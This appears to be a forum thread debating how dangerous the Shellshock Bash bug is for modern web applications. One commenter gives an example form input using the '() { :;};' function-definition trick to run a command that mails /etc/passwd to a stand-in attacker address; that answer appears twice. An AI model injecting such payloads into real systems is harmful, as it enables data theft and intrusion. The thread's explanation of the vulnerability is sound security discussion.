> Perhaps someone could enlighten me, but even after reading this and several other articles about Shellshock I really don't understand why we should be so concerned.
Definitely read on.
> Heartbleed was scary because modern, highly secure websites were vulnerable. Is that even remotely the case with Shellshock?
Yes, because if Bash were sufficiently secure, then setting the value of an environment variable would be benign and harmless. If, on the other hand, bash executes arbitrary code while setting the value of an environment variable, this can cause a common and well-understood safe action to become extraordinarily dangerous. Consider this imaginary example at a website:
Enter name --
First: John
Last: Smith
Not much excitement here, unless Bash has the Shellshock vulnerability, in which case:
Enter name --
First: () { :;}; cat /etc/passwd | mail hacker@somewhere.com
Here's why this is dangerous -- the file /etc/passwd is locally world-readable, which ordinarily doesn't matter because an outsider can't either read it or export it to another place. But if this sensitive file could be exported to another place (and if it has the content this file ordinarily doesn't have in modern times), its contents could be decoded very rapidly without any multi-second pauses between tries or lockouts after several failed attempts such as are normal in a hacker's login attempt.
One method for breaking into a system is to get a copy of /etc/passwd that can then be read over and over again at high speed, then submit the file to a password cracking program. Such a program requires a local copy of /etc/password to succeed, and the above hack provides it.
BTW I tested the above hack and it would work, if (1) a CGI script is written in a particularly careless way (no input sanitizing in place), and if (2) /etc/passwd had the content it had several years ago before this specific attack method became obvious.
You should delete your answer. First of all, /etc/passwd files haven't contained passwords for at least 15 to 20 years now, on most systems. Second of all, the way querystring/form parameters are passed to CGI systems makes it extremely unlikely that your example would work. And third, you're all but answering the question that was asked.
It's just an example, and I chose the example precisely because it can't be used in modern times, and I explained that the example wouldn't work. Why should I offer working examples for black-hat hackers in a public forum?
It graphically shows the vulnerability produced by Shellshock, but without offering a real working example for the script kiddies to emulate.
-- that explains the Shellshock bug, they use the same example I gave -- reading /etc/passwd. And for the same reason -- it's an example of a vulnerability, but won't give black-hats any useful information. They don't explain that this won't actually produce anything useful, but I do.
You didn't address my concerns at all. I fully understand why Shellshock is incredibly dangerous if user input can make its way to a shell.
My question was why any reasonably designed modern web app would ever have user input anywhere near a shell. That seems like an incredibly insecure thing and I've yet to hear a single example of why any app built in the last decade would do so.
You asked a question, I provided the answer and example code to the actual question that you asked.
> My question was why any reasonably designed modern web app would ever have user input anywhere near a shell.
Shall I post the same answer again? Not all modern web apps guard against the kind of extreme vulnerability that Shellshock represents, and that no reasonable person would expect to exist.
> ... and I've yet to hear a single example of why any app built in the last decade would do so.
I gave you an example that is typical of many CGI scripts that exist, now, in reality, and that are perfectly safe as long as Bash is safe. The reason is that variable assignment normally belongs in a different category than code execution. The Shellshock bug mixes variable assignment with code execution, something no reasonable person could be expected to anticipate.
> You asked a question, I provided the answer and example code to the actual question that you asked.
No, you must emphatically did not.
This is the question I asked:
> Heartbleed was scary because modern, highly secure websites were vulnerable. Is that even remotely the case with Shellshock?
Put more clearly, I was asking for an example of a modern, well-developed website which would be vulnerable to Shellshock. (I don't think anyone would characterize CGI scripts as modern.) Your question didn't get anywhere near providing that.
I don't need a condescending explanation of why Shellshock is bad if you open a shell. I need an explanation (preferably with an example of actual code) of why somebody is actually shelling out in a modern web app.
Put another way, Shellshock could literally cause a computer to explode anytime a shell is opened from the app. This doesn't change my opinion that there's no reason modern websites are opening shells—and nothing you've said provides evidence of that.
> This doesn't change my opinion that there's no reason modern websites are opening shells—and nothing you've said provides evidence of that.
What? Evidence of your opinion? I live in reality, one not informed by opinions, and there are plenty of sites that were designed to be secure, but that didn't anticipate something like Shellshock -- many existing PHP pages, as just one example.
Setting environment variables is very common, and safe if the shell is safe, because a sound shell won't do anything with an environment variable setting action beyond setting an environment variable.
Consider a prudent design that sanitizes the entry to limit itself to an alphanumeric variable name and a value provided by the user, as in my example. The left-hand side of the assignment is not an issue because the program checks its content for malicious intent. The right-hand side is safe if Bash is safe. If Bash is safe and if rudimentary precautions are taken, any variable-assigned text string is benign.
Not so for Shellshock, which is why it caused such consternation among Website operators.
Here's an online reference that makes the same points I do, and even uses the same example of reading /etc/passwd:
Not really. Deploying PHP with CGI is very uncommon, as we've seen from the fallout from CVE-2012-1823 which was a much worse bug. Anything vulnerable to that has the potential of being vulnerable again, but that wasn't what you would think of as web applications: some embedded web interfaces, some really bad control panels, that sort of thing.
My question was why any reasonably designed modern web app would ever have user input anywhere near a shell.
There are two parts to this:
The web server adds various bits of user input to an ENV variable (e.g. user agent)
Bash is vulnerable to malicious functions in any ENV variable on startup
So your reasonably designed modern web app does not need to have user input anywhere near a shell. Your web app just needs to interact with other processes on the machine with a system call (for example sending mail, calling git for a service like github), it doesn't need to actually put user input into a system call (which is an obvious no-no).
Definitely read on.
> Heartbleed was scary because modern, highly secure websites were vulnerable. Is that even remotely the case with Shellshock?
Yes, because if Bash were sufficiently secure, then setting the value of an environment variable would be benign and harmless. If, on the other hand, bash executes arbitrary code while setting the value of an environment variable, this can cause a common and well-understood safe action to become extraordinarily dangerous. Consider this imaginary example at a website:
Enter name --
First: John
Last: Smith
Not much excitement here, unless Bash has the Shellshock vulnerability, in which case:
Enter name --
First: () { :;}; cat /etc/passwd | mail hacker@somewhere.com
Here's why this is dangerous -- the file /etc/passwd is locally world-readable, which ordinarily doesn't matter because an outsider can't either read it or export it to another place. But if this sensitive file could be exported to another place (and if it has the content this file ordinarily doesn't have in modern times), its contents could be decoded very rapidly without any multi-second pauses between tries or lockouts after several failed attempts such as are normal in a hacker's login attempt.
One method for breaking into a system is to get a copy of /etc/passwd that can then be read over and over again at high speed, then submit the file to a password cracking program. Such a program requires a local copy of /etc/password to succeed, and the above hack provides it.
BTW I tested the above hack and it would work, if (1) a CGI script is written in a particularly careless way (no input sanitizing in place), and if (2) /etc/passwd had the content it had several years ago before this specific attack method became obvious.